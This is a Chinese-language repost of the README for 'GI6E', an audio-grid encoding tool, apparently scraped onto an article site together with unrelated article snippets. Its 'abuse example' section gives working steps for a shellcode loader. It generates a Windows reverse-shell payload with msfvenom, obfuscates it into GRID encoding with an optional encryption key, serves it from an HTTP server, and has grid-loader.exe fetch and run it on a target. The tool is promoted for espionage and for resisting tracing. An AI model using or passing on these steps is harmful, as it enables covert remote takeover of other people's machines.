GI6E

https://github.com/MartinxMax/gi6e

「它似乎能從特製的音訊信號中提取敏感資訊。」

HEX-GRID CODEX(簡稱 HGC)是一種自定義的 6 位元結構編碼系統,使用三位元的群組識別碼(Group Bits)加上三位元的索引識別碼(Index Bits)來組成 64 個唯一碼。其核心設計理念是將字母與數字映射到二維區塊矩陣中,使其具備可擴展性、分層性,以及機器可解析的字元分佈方式。這使得它非常適用於摩斯密碼的擴展、嵌入式通訊協議、加密標記,或特殊字元序列的緊湊表達。


https://youtu.be/Uzc14fmhI5I

V1.2 更新

  • [+] 新增 AES-CTR 加密傳輸,大幅提升反追蹤難度
  • [+] 修改解碼靈敏度
  • [+] 新增用戶控制介面
  • [+] 加入加解密解析器
  • [+] 增加惡意 SHELLCODE 載入器

「這也許正是間諜活動等待已久的工具。」

Main2.jpg


安裝方式

$ git clone https://github.com/MartinxMax/gi6e.git
$ cd gi6e
$ pip install -r require.txt

使用方式

$ python3 grid.py

image.png


文字轉 WAV

將字串轉換為 GRID 編碼的 .wav 音訊文件:

請輸入要轉換的文字:TEST
[+] Grid 音訊文件已成功產生:./lib/history/generate/1752834436.wav

image-1.png

image-2.png


WAV 轉文字

輸入 .wav 音訊文件並解碼其內容為純文字:

請輸入未加密 WAV 路徑:./lib/history/generate/1752834436.wav
[Unencrypted] 解碼結果 => ('-.-.-- . --..-. .  . -.-.-. .  . -.-.-. .  . --..-. .  . --..-. .  . -...-. .  . --..-. .  . -.-.-. . ', 'TEST')

image-3.png


一鍵測試

快速檢查系統功能:

image-4.png


即時監聽

播放音訊並即時解碼訊息:

image-5.png


文字轉 Grid

將純文字轉換為 GRID 編碼:

請輸入要轉換的文字:HELLO
[Unencrypted] 生成 Grid 編碼 => '-.-.-- . -.-.-. . .--.-- . -.-.-. . --..-. . -.-.-. . .--..- . -.-.-. . .--..- . -.-.-. . --...- . '

image-6.png


Grid 轉文字

將 GRID 編碼轉換為可讀文字:

請輸入 Grid 編碼(以空格分隔):'-.-.-- . -.-.-. . .--.-- . -.-.-. . --..-. . -.-.-. . .--..- . -.-.-. . .--..- . -.-.-. . --...- . '
[Unencrypted] 解碼:HELLO

image-7.png


濫用範例:基於 GRID 的 SHELLCODE 載入器

image-10.png

產生 Shellcode(如反向連線 Payload):

(grid-loader)$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.102 LPORT=443 -f python | sed 's/\<buf\>/shellcode/g' > ./SHELLCODE/Main.conf

image-8.png

轉換 Shellcode 為 GRID 編碼:

(grid-loader)$ python3 grid-gener.py

也可使用 -key 參數進行混淆加密:

image-9.png


遠端載入器

啟動 HTTP Server:

$ sudo python3 -m http.server 80

image-11.png

上傳 grid-loader.exe 至目標系統。如有加密請加上 -key

> grid-loader.exe -load http://192.168.8.102/Main.grid

目標端:

image-15.png

Ubuntu 主機:

image-14.png


本地載入器

從本地讀取 Grid 文件:

> grid-loader.exe -load ./Main.grid

目標端:

image-16.png

Ubuntu 主機:

image-17.png


GRID 加密載入器

使用加密產生:

(grid-loader)$ python3 grid-gener.py -key 12345678

image-19.png

載入時解密執行:

> grid-loader.exe -load http://192.168.8.102/Main.grid -key 12345678

或:

> grid-loader.exe -load ./Main.grid -key 12345678

image-18.png


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/915098.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/915098.shtml
英文地址,请注明出处:http://en.pswp.cn/news/915098.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实习十三——传输层协议

补充子网划分的主要目的就是为了节约IP&#xff0c;降低成本&#xff0c;但是如果划分私有IP网段&#xff0c;则完全没有意义&#xff0c;因为私有IP可重复&#xff0c;不要钱&#xff0c;所以私有IP严禁进行子网掩码划分传输层协议TCP三次握手TCP协议数据格式第一次握手&#…

RPG59.玩家拾取物品三:可拾取物品的提示UI

1。以WarriorWidgetBase作为父类&#xff0c;创建一个子类的userwidget2.布局为两个值都为1203。然后我们需要想办法&#xff0c;在合适的位置&#xff0c;用bool来控制此控件的显示与隐藏。情况为&#xff1a;当玩家触发与可拾取物体的重叠时&#xff0c;我们将广播一个bool值…

Vue.js 国际化 (i18n) 实践:让你的应用走向全球,多语言支持如此简单!

文章目录一、为何你的 Vue.js 应用需要“说多种语言”&#xff1f;国际化的重要性二、Vue I18n 基础实践&#xff1a;从零开始搭建多语言环境2.1 安装 Vue I18n2.2 配置 Vue I18n 实例2.3 在组件中使用翻译三、进阶实践&#xff1a;让国际化更强大、更灵活3.1 动态语言切换3.2 …

在CentOS7.9服务器上安装.NET 8.0 SDK

在 CentOS 7.9 系统上手动安装 .NET 8.0 SDK&#xff08;使用本地的 dotnet-sdk-8.0.101-linux-x64.tar.gz 文件&#xff09;&#xff0c;可以按照以下步骤进行操作。由于 CentOS 7.9 已不再被微软官方支持&#xff0c;可能会遇到依赖库版本问题&#xff08;如 GLIBCXX 和 GLIB…

HarmonyOS-ArkUI Web控件基础铺垫4--TCP协议- 断联-四次挥手解析

HarmonyOS-ArkUI&#xff1a; Web组件加载流程1 HarmonyOS-ArkUI Web控件基础铺垫1-HTTP协议-数据包内容 HarmonyOS-ArkUI Web控件基础铺垫2-DNS解析 HarmonyOS-ArkUI Web控件基础铺垫3--TCP协议- 从规则本质到三次握手-CSDN博客 接上文&#xff0c;上文我们讲解了: 数据在…

如何用AI 生成论文/书籍的摘要

不知道大家是否有这样的感觉&#xff0c;上网浏览信息&#xff0c;看到好的文章就兴奋地下载了下来&#xff0c;文件的名称通常是一串奇奇怪怪的字符串。过了几天就在电脑中找不着了。没有网络上搜索不到的文章&#xff0c;而是在你的电脑中却找不到它们。几年下来&#xff0c;…

ubuntu系统+N卡 | docker compose+ollama+dify(dify和ollama在同一容器)

1、安装NVIDIA驱动 2、安装docker&#xff0c;docker compose 3、安装NVIDIA Container Toolkit Installing the NVIDIA Container Toolkit — NVIDIA Container Toolkit&#xff08;仅 GPU 场景需要&#xff09; # Configure the production repository: curl -fsSL https://…

实习手记:基于大模型的搜索引擎开发实践

初入团队&#xff1a;从理论到实践的跨越五月份开始&#xff0c;我怀着忐忑又期待的心情以线上的方式加入了公司AI研发中心的搜索引擎优化小组。作为一名数据科学与大数据技术专业的学生&#xff0c;这是我第一次参与工业级AI项目的开发&#xff0c;团队的任务是构建一个基于大…

用Python实现神经网络(二)

#Overfitting是机器学习的主要问题。下面我们来看一下过拟合现像&#xff1a;import numpy as npimport matplotlib.pyplot as pltimport matplotlib as mplimport tensorflow as tffrom scipy.optimize import curve_fit# Generic matplotlib parameters for plots and figure…

数据结构入门 (二):挣脱连续空间的束缚 —— 单向链表详解

TOC(目录) 引言&#xff1a;整齐的代价 在上一篇文章中&#xff0c;我们一起探索了数据结构大家族的第一位成员——顺序表。我们了解到&#xff0c;顺序表作为一种线性结构&#xff0c;其最大的特点在于逻辑顺序与物理顺序的一致性&#xff0c;即元素之间不仅存在逻辑上的前后关…

AI-视频一致性与多帧控制在AIGC中的技术挑战与突破!

全文目录&#xff1a;开篇语前言1. 视频中人物一致性建模的难点与现有解决方案**人物一致性建模的挑战****现有解决方案****案例代码&#xff1a;基于姿态估计的多帧一致性保持**2. 光照/纹理/姿态跨帧保持方法剖析**跨帧光照与纹理一致性****跨帧姿态一致性**3. 帧间插值与关键…

基于Qwen2.5-3B-Instruct的LoRA微调与推理实战指南

前言 大语言模型(LLM)的微调是当前AI领域的热门话题&#xff0c;而参数高效微调方法(如LoRA)因其低成本和高效率备受关注。本文将手把手教你如何使用Qwen2.5-3B-Instruct模型进行LoRA微调&#xff0c;并构建完整的推理流程。 一、环境准备 1.1 硬件要求 • GPU: 至少16GB显存(如…

电脑插上u盘不显示怎么回事

对于经常使用电脑的用户来说&#xff0c;U盘是一种再熟悉不过的存储工具。不管是拷贝资料、备份文件&#xff0c;还是制作启动盘&#xff0c;U盘都发挥着重要作用。然而&#xff0c;有时候你可能会遇到这样的情况&#xff1a;“U盘插上电脑&#xff0c;灯亮了&#xff0c;但电脑…

2025年6月GESP(C++二级): 幂和数

2025年6月GESP(C++二级): 幂和数 题目描述 对于正整数 n n n,如果 n n n 可以表为两个

Windows、macOS、liunx下使用qemu搭建riscv64/linux

背景 在Windows、macOS和Linux环境下使用QEMU搭建RISC-V 64位Linux系统&#xff0c;网络上存在大量过时、不完整或错误的教程。且部分AI生成的内容“幻觉”现象严重&#xff0c;导致关键步骤错误且难以进行。为确保可靠性&#xff0c;本教程基于最新实测验证&#xff0c;涵盖三…

简单使用MCP

1、说明# 测试环境服务器 CPU数量&#xff1a;2核 内存&#xff1a;4GB 磁盘&#xff1a;50GB# 补充 如果不想使用Docker进行操作&#xff0c;只需要跳过Docker相关命令操作 即&#xff1a;使用Ollama运行模型&#xff0c;使用Python来创建MCP2、安装Docker# 安装Docker https:…

电脑装机软件一键安装管理器

软件使用 现在的装机软件很多&#xff0c;主要几种类型就是办公、看图、影音、下载等&#xff0c;如果每次装机之后&#xff0c;手动一个一个去安装&#xff0c;费时费力还容易安装到全家桶。 就有人整理了网络上常用的一系列装机软件纯净和谐版本&#xff0c;并打包到一起&a…

深度学习入门-深度学习简介

深度学习是加深了层的深度神经网络。只需通过叠加层&#xff0c;就可以创建深度网络。1、 加深网络将深度学习中的重要技术&#xff08;构成神经网络的各种层、学习时的有效技巧、对图像特别有效的CNN、参数的最优化方法等&#xff09;汇总起来&#xff0c;创建一个深度网络&am…

Linux 下安装DM8数据库详细教程

Linux 下安装DM8数据库详细教程 一、环境准备 1.操作系统要求 DM 数据库支持多种操作系统,如 Windows、Linux 等。对于 Linux 系统,确保内核版本符合要求,例如 CentOS 7 或更高版本。同时,要保证系统有足够的磁盘空间(建议至少 10GB 以上)和内存(至少 1GB 以上)。 对…

搭建基于Gitee文档笔记自动发布

搭建基于Gitee文档笔记自动发布由于现在gitee不支持代理静态页面&#xff0c;并且github.io需要VPN&#xff0c;实际使用的话gitee更为方便。一、为服务器和个人PC添加免密push和pull 参考链接&#xff1a;https://help.gitee.com/base/account/SSH%E5%85%AC%E9%92%A5%E8%AE%BE…